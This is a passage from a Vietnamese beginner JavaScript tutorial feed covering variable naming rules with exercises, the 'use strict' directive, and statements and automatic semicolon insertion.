khi khai báo</h3> <p>Thực tế, bạn vẫn có thể gán giá trị cho biến mà không cần khai báo.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">message <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span></code></pre></div> <p>Tuy nhiên, nếu bạn sử dụng chế độ code nghiêm ngặt <a href="/use-strict-trong-js/"><code>"use strict"</code></a> thì bạn sẽ bị lỗi.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> message <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Lỗi cụ thể là: <strong>Uncaught ReferenceError: message is not defined</strong> (biến "message" chưa được định nghĩa).</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là tóm tắt những kiến thức cần nhớ về biến là gì, cách khai báo biến trong JavaScript và quy tắc đặt tên biến:</p> <ul> <li>Biến là "tên biểu tượng" dùng để đại diện cho một giá trị. Và giá trị của biến có thể thay đổi trong chương trình.</li> <li>Để khai báo biến, bạn dùng từ khóa <strong>let</strong> với cú pháp: <code>let &#x3C;tên biến>;</code>.</li> <li>Có thể thay đổi giá trị của biến bằng cách gán giá trị mới cho biến, hoặc gán bằng giá trị của biến khác.</li> <li>Quy tắc đặt tên biến: <ul> <li>Bắt đầu bằng chữ cái, dấu gạch dưới (<code>_</code>) hoặc kí tự "đô la" (<code>$</code>).</li> <li>Sau kí tự đầu tiên, ngoài những kí tự trên, bạn có thể sử dụng thêm số (0-9).</li> <li>Không sử dụng từ khoá và từ dự trữ.</li> </ul> </li> <li>Tên biến phân biệt chữ hoa và thường</li> <li>Nên đặt tên biến dễ nhìn, dễ đọc và thống nhất theo một chuẩn.</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1-các-tên-biến-sau-đúng-hay-sai" style="position:relative;"><a href="#b%C3%A0i-1-c%C3%A1c-t%C3%AAn-bi%E1%BA%BFn-sau-%C4%91%C3%BAng-hay-sai" aria-label="bài 1 các tên biến sau đúng hay sai permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1: Các tên biến sau đúng hay sai?</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _result3@ <span class="token operator">=</span> <span class="token string">"haha"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> $_$ <span class="token operator">=</span> <span class="token string">"hehehe"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> 2me <span class="token operator">=</span> <span class="token string">'love'</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token constant">I_WANT_TO_EAT</span> <span class="token operator">=</span> <span class="token string">"just eat it"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> dientihinhvuong <span class="token operator">=</span> <span class="token number">999</span><span class="token punctuation">;</span> <span class="token keyword">let</span> a<span class="token operator">%</span>b <span class="token operator">=</span> <span class="token number">50</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token keyword">var</span> <span class="token operator">=</span> <span class="token string">'oh no'</span><span class="token punctuation">;</span></code></pre></div> <p>Và chỉ ra chính xác lỗi sai là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token comment">// Đúng</span> <span class="token keyword">let</span> _result3@ <span class="token operator">=</span> <span class="token string">"haha"</span><span class="token punctuation">;</span> <span class="token comment">// Sai: vì sử dụng kí tự đặc biệt @</span> <span class="token keyword">let</span> имя_abc <span class="token operator">=</span> <span class="token string">"hehehe"</span><span class="token punctuation">;</span> <span class="token comment">// Đúng: được phép sử dụng kí tự không phải Latinh</span> <span class="token keyword">let</span> 2me <span class="token operator">=</span> <span class="token string">'love'</span><span class="token punctuation">;</span> <span class="token comment">// Sai: vì bắt đầu bằng số</span> <span class="token keyword">let</span> <span class="token constant">I_WANT_TO_EAT</span> <span class="token operator">=</span> <span class="token string">"just eat it"</span><span class="token punctuation">;</span> <span class="token comment">// Đúng</span> <span class="token keyword">let</span> _dientihinhvuong <span class="token operator">=</span> <span class="token number">10000</span><span class="token punctuation">;</span> <span class="token comment">// Đúng: được phép bắt đầu dấu _</span> <span class="token keyword">let</span> a<span class="token operator">%</span>b <span class="token operator">=</span> <span class="token number">50</span><span class="token punctuation">;</span> <span class="token comment">// Sai: vì có kí tự đặc biệt %</span> <span class="token keyword">let</span> <span class="token keyword">var</span> <span class="token operator">=</span> <span class="token string">'oh no'</span><span class="token punctuation">;</span> <span class="token comment">// Sai: vì tên biến trùng từ khóa var</span></code></pre></div> </div> </div> </div> <h3 id="bài-2-khai-báo-và-gán-giá-trị-cho-biến" style="position:relative;"><a href="#b%C3%A0i-2-khai-b%C3%A1o-v%C3%A0-g%C3%A1n-gi%C3%A1-tr%E1%BB%8B-cho-bi%E1%BA%BFn" aria-label="bài 2 khai báo và gán giá trị cho biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2: Khai báo và gán giá trị cho biến</h3> <ol> <li>Khai báo hai biến <strong>message</strong> và <strong>name</strong>.</li> <li>Gán giá trị cho biến <strong>name</strong> là tên của bạn, ví dụ: "Lam".</li> <li>Gán giá trị của biến <strong>name</strong> cho biến <strong>message</strong>.</li> <li>In ra console giá trị của biến <strong>message</strong> (kết quả phải là giá trị từ bước 2).</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1. Khai báo hai biến "message" và "name".</span> <span class="token keyword">let</span> message<span class="token punctuation">;</span> <span class="token keyword">let</span> name<span class="token punctuation">;</span> <span class="token comment">// 2. Gán giá trị cho biến "name" là tên của bạn, ví dụ: "Lam".</span> name <span class="token operator">=</span> <span class="token string">"Lam"</span><span class="token punctuation">;</span> <span class="token comment">// 3. Gán giá trị của biến "name" cho biến "message".</span> message <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token comment">// 4. In ra console giá trị của biến "message" (kết quả phải là giá trị từ bước 2).</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lam</span></code></pre></div> </div> </div> </div> <h3 id="bài-3-hoán-đổi-giá-trị-hai-biến" style="position:relative;"><a href="#b%C3%A0i-3-ho%C3%A1n-%C4%91%E1%BB%95i-gi%C3%A1-tr%E1%BB%8B-hai-bi%E1%BA%BFn" aria-label="bài 3 hoán đổi giá trị hai biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3: Hoán đổi giá trị hai biến</h3> <ol> <li>Khai báo và gán giá trị cho hai biến <strong>x</strong> và <strong>y</strong> (với giá trị là chuỗi ký tự tùy ý).</li> <li>Hoán đổi giá trị của hai biến <strong>x</strong> và <strong>y</strong> cho nhau.</li> <li>In ra console giá trị hai biến <strong>x</strong> và <strong>y</strong> sau khi hoán đổi.</li> </ol> <p>Ví dụ: ban đầu <code>x = "hello"</code> và <code>y = "world"</code>. Sau khi hoán đổi thì <code>x = "world"</code> và <code>y = "hello"</code>.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1. Khai báo và gán giá trị cho hai biến "x" và "y" (giá trị là chuỗi ký tự tùy ý).</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token string">"world"</span><span class="token punctuation">;</span> <span class="token comment">// 2. Hoán đổi giá trị của hai biến "x" và "y" cho nhau.</span> <span class="token comment">// - Bạn cần khai báo thêm một biến trung gian để lưu giá trị của một biến.</span> <span class="token comment">// - Giả sử là biến x:</span> <span class="token keyword">let</span> z <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token comment">// - Sau đó, gán giá trị của biến y cho biến x.</span> x <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="token comment">// - Cuối cùng, gán giá trị của biến z cho biến y. Lúc này, ta đã hoán đổi xong rồi.</span> y <span class="token operator">=</span> z<span class="token punctuation">;</span> <span class="token comment">// 3. In ra console giá trị hai biến "x" và "y" sau khi hoán đổi.</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// world</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Use strict trong JS]]><![CDATA[JavaScript tồn tại đến nay là hơn 20 năm. Vậy mà code JavaScript từ lâu giờ vẫn chạy tốt. Bạn có bao giờ thắc mắc lý do tại sao không? Đó là vì những tính năng cũ của JS vẫn được…]]>https://completejavascript.com/use-strict-trong-js/https://completejavascript.com/use-strict-trong-js/<![CDATA[Strict Mode]]>Sat, 29 Apr 2017 20:00:00 GMT<p>JavaScript tồn tại đến nay là hơn 20 năm. Vậy mà code JavaScript từ lâu giờ vẫn chạy tốt. Bạn có bao giờ thắc mắc lý do tại sao không?</p> <p>Đó là vì những tính năng cũ của JS vẫn được hỗ trợ mặc cho rất nhiều tính năng mới được tạo ra mỗi năm.</p> <blockquote> <p>Điều này là tốt, vì nó giúp cho các trang web cũ vẫn chạy tốt trên những trình duyệt mới. Nhưng ngược lại, nó làm cho nhiều lập trình viên lười trong việc cập nhật các tính năng mới của JavaScript.</p> </blockquote> <p>Nghĩa là những thay đổi của JavaScript mặc định sẽ không được kích hoạt. Để kích hoạt những tính năng mới này, bạn cần chủ động khai báo <code>"use strict"</code>.</p> <p>Vậy use strict là gì? Sau đây, mình sẽ cùng tìm hiểu về use strict trong JS.</p> <h2 id="use-strict-trong-js" style="position:relative;"><a href="#use-strict-trong-js" aria-label="use strict trong js permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Use strict trong JS</h2> <p>Chỉ dẫn này giống như một chuỗi ký tự: <code>"use strict"</code> hoặc <code>'use strict'</code>. Khi bạn đặt <code>"use strict"</code> ở đầu file JavaScript, toàn bộ code JavaScript sau đó phải tuân theo quy tắc hiện đại của JavaScript.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token comment">// Toàn bộ code sau đây phải tuân theo quy tắc hiện đại của JS</span></code></pre></div> <p>Ngoài đặt ở đầu của file JS, <code>"use strict"</code> còn có thể đặt ở đầu mỗi hàm. Khi đó, toàn bộ code trong hàm đó phải tuân theo strict mode.</p> <blockquote> <p>Hàm là một cách để tập hợp các câu lệnh nhằm thực hiện một nhiệm vụ nào đó. Hàm sẽ được giới thiệu ở bài <a href="/ham-la-gi-ham-trong-javascript/">cơ bản về hàm - functions</a>.</p> </blockquote> <h2 id="một-số-câu-hỏi-về-use-strict-trong-js" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-c%C3%A2u-h%E1%BB%8Fi-v%E1%BB%81-use-strict-trong-js" aria-label="một số câu hỏi về use strict trong js permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số câu hỏi về use strict trong JS</h2> <p><strong>Nếu không đặt <code>"use strict"</code> ở đầu file JS (hoặc đầu hàm) thì có được không?</strong></p> <p>Câu trả lời là <strong>KHÔNG</strong>.</p> <p>Chỉ dẫn <code>"use strict"</code> luôn phải đặt ở đầu. Ngược lại, nó sẽ không có tác dụng.</p> <p>Ví dụ sau đây sẽ không kích hoạt strict mode trong JavaScript:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log("Hello world!"); "use strict" // Toàn bộ code sau đây sẽ không bị ảnh hưởng bởi use strict trong JS. // Vì trước "use strict" có một câu lệnh console.log().</code></pre></div> <blockquote> <p>📝 <strong>Chú ý</strong>: bạn có thể viết chú thích code trước <code>"use strict"</code> thì strict mode vẫn sẽ được kích hoạt.</p> <p>Vì thực chất là <a href="/javascript-la-gi/">JavaScript engine</a> bỏ qua không xử lý phần chú thích code.</p> <p>Nên trường hợp này, ta vẫn hiểu là <code>"use strict"</code> được đặt ở đầu.</p> </blockquote> <p><strong>Có thể hủy strict mode được không?</strong></p> <p>Câu trả lời cũng là <strong>KHÔNG</strong>.</p> <p>Nếu bạn đã khai báo <code>"use strict"</code> ở đầu file JS rồi thì strict mode đã được kích hoạt. Sau đó, bạn không thể hủy bỏ chế độ này.</p> <p><strong>Có nên sử dụng <code>"use strict"</code> không?</strong></p> <p>Câu trả lời là <strong>CÓ</strong>.</p> <blockquote> <p>Dĩ nhiên, đây chỉ là quan điểm cá nhân của mình. Bạn có thể không sử dụng strict mode trong JavaScript cũng không sao.</p> <p>Nhưng chắc chắn, khi sử dụng <code>"use strict"</code> bạn sẽ tránh được rất nhiều lỗi không đoán trước được. Code JavaScript sẽ chặt chẽ và rõ ràng hơn.</p> <p>Bạn có thể tham khảo bài viết <a href="/mot-so-loi-khi-su-dung-strict-mode-javascript/">một số lỗi khi sử dụng Strict mode JavaScript</a> sau khi đã học cơ bản về JavaScript.</p> </blockquote> <h2 id="use-strict-với-console" style="position:relative;"><a href="#use-strict-v%E1%BB%9Bi-console" aria-label="use strict với console permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Use strict với console</h2> <p>Trước tiên, bạn cần biết rằng console ở <a href="/dev-tools-la-gi/">Dev Tools</a> cũng không mặc định sử dụng strict mode. Vì vậy, bạn cần phải đặt <code>"use strict"</code> ở đầu trước khi gõ bất kỳ lệnh gì.</p> <p>Nhưng nhớ rằng, <code>"use strict"</code> chỉ có tác dụng trong một lần chạy. Nghĩa là sau khi bạn nhấn <strong>Enter</strong> thì lần khai báo <code>"use strict"</code> trước đó không còn tác dụng.</p> <p>Vì vậy, hãy nhấn tổ hợp <strong>Shift Enter</strong> để xuống dòng sau khi khai báo <code>"use strict"</code>. Sau đó bạn có thể viết code ở strict mode như bình thường.</p> <p>Quy trình sử dụng <code>"use strict"</code> ở console của Dev Tools như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">"use strict"; &lt;Nhấn tổ hợp Shift Enter để xuống dòng> // Viết code của bạn ở đây &lt;Nhấn Enter để chạy></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là một số kiến thức cần nhớ về use strict trong JS:</p> <ul> <li><code>"use strict"</code> giúp kích hoạt tính năng hiện đại của JavaScript. Khi kích hoạt strict mode JS, toàn bộ code sau đó phải tuân theo quy tắc hiện đại của JavaScript.</li> <li><code>"use strict"</code> phải được đặt ở đầu file JS hoặc đầu hàm, không đặt bất kỳ câu lệnh nào phía trước, trừ chú thích code. Ngược lại, <code>"use strict"</code> sẽ không có tác dụng.</li> <li>Một khi đã khai báo strict mode thì không có cách nào hủy chế độ này sau đó.</li> <li>Bạn nên sử dụng <code>"use strict"</code> để code theo quy tắc nghiêm ngặt hơn, giúp tránh nhiều lỗi không đoán trước được.</li> </ul>[email protected]<![CDATA[Câu lệnh trong JavaScript]]><![CDATA[Chương trình là tập hợp của các câu lệnh. Hay nói cách khác, câu lệnh trong JavaScript là đơn vị cơ bản xây dựng nên một chương trình. Vì vậy, câu lệnh là khái niệm đầu tiên mà…]]>https://completejavascript.com/cau-lenh-trong-javascript/https://completejavascript.com/cau-lenh-trong-javascript/Fri, 28 Apr 2017 20:00:00 GMT<p>Chương trình là tập hợp của các câu lệnh. Hay nói cách khác, câu lệnh trong JavaScript là đơn vị cơ bản xây dựng nên một chương trình. Vì vậy, câu lệnh là khái niệm đầu tiên mà mình cần nắm vững khi học lập trình JavaScript.</p> <h2 id="câu-lệnh-trong-javascript" style="position:relative;"><a href="#c%C3%A2u-l%E1%BB%87nh-trong-javascript" aria-label="câu lệnh trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Câu lệnh trong JavaScript</h2> <p>Câu lệnh là đơn vị cơ bản của một ngôn ngữ lập trình, đưa ra hướng dẫn cho máy tính để thực hiện một hành động.</p> <p>Trong bài viết về <a href="/chuong-trinh-javascript-dau-tien/">chương trình JavaScript đầu tiên</a>, bạn đã thấy mình sử dụng hai câu lệnh:</p> <ul> <li><code>console.log("Hello World")</code>: in ra tab console của <a href="/dev-tools-la-gi/">Dev Tools</a> trên trình duyệt dòng chữ "Hello World".</li> <li><code>alert("Hello World")</code>: hiển thị dạng hộp thoại (dialog) dòng chữ "Hello World".</li> </ul> <p>Đó là những câu lệnh rất cơ bản.</p> <p>Và trong một chương trình, bạn có thể viết nhiều câu lệnh tùy thích. Mỗi câu lệnh trong JavaScript thường được ngăn cách nhau bởi dấu chấm phẩy (<code>;</code>).</p> <p>Ví dụ hiển thị dòng chữ trên bằng hai câu lệnh <code>console.log</code> khác nhau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log("Hello");console.log("World");</code></pre></div> <p>Thông thường, mình sẽ viết mỗi câu lệnh trên một dòng cho dễ nhìn hơn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"World"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả thu được:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Hello World</code></pre></div> <h2 id="dấu-chấm-phẩy-trong-javascript" style="position:relative;"><a href="#d%E1%BA%A5u-ch%E1%BA%A5m-ph%E1%BA%A9y-trong-javascript" aria-label="dấu chấm phẩy trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dấu chấm phẩy trong JavaScript</h2> <p>Dấu chấm phẩy trong JavaScript thường có thể bỏ qua nếu bạn viết các câu lệnh trên nhiều dòng. Ở ví dụ trên, bạn bỏ qua dấu chấm phẩy như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log("Hello") console.log("World")</code></pre></div> <p>Bạn vẫn thu được kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Hello World</code></pre></div> <p>Nguyên nhân là do trình thông dịch <strong>tự động thêm dấu chấm phẩy</strong> dựa trên kí tự xuống dòng. Tuy nhiên, vẫn có nhiều trường hợp xuống dòng nhưng JavaScript vẫn hiểu đó là một câu lệnh, ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log(1 + 1 + 1);</code></pre></div> <p>Ba dòng trên vẫn chỉ là một câu lệnh. Và kết quả thu được là: <strong>3</strong>.</p> <p>Bởi vì, khi hết dòng đầu tiên, bạn thấy rằng vẫn thiếu dấu đóng ngoặc <code>)</code> cho câu lệnh <code>console.log()</code>.</p> <p>Do đó, trình thông dịch hiểu rằng, đây là câu lệnh không đầy đủ, nên sẽ không chèn dấu chấm phẩy vào cuối dòng.</p> <p><strong>Trình thông dịch JavaScript có thực sự thông minh như vậy?</strong></p> <p>Đúng là trình thông dịch JavaScript khá thông minh. Nhưng vẫn có nhiều trường hợp mà bạn sẽ nhận được một kết quả không như mong muốn.</p> <p>Ví dụ một đoạn code chạy đúng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello world"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Có thể bạn chưa hiểu về câu lệnh thứ hai (các bài viết sau bạn sẽ biết) - kết quả hiển thị là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Hello world 1 2</code></pre></div> <p><strong>Nhưng nếu bạn bỏ qua dấu chấm phẩy thì sao?</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log("Hello world") [1, 2].forEach((value) => console.log(value))</code></pre></div> <p>Bạn sẽ bị lỗi cú pháp:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Hello world Uncaught TypeError: Cannot read properties of undefined (reading '2')</code></pre></div> <p>Kì lạ phải không? 🤔</p> <p>Đây là một trong số những thứ gây đau đầu nhất khi lập trình JavaScript. Vì vậy, lời khuyên cho bạn là:</p> <blockquote> 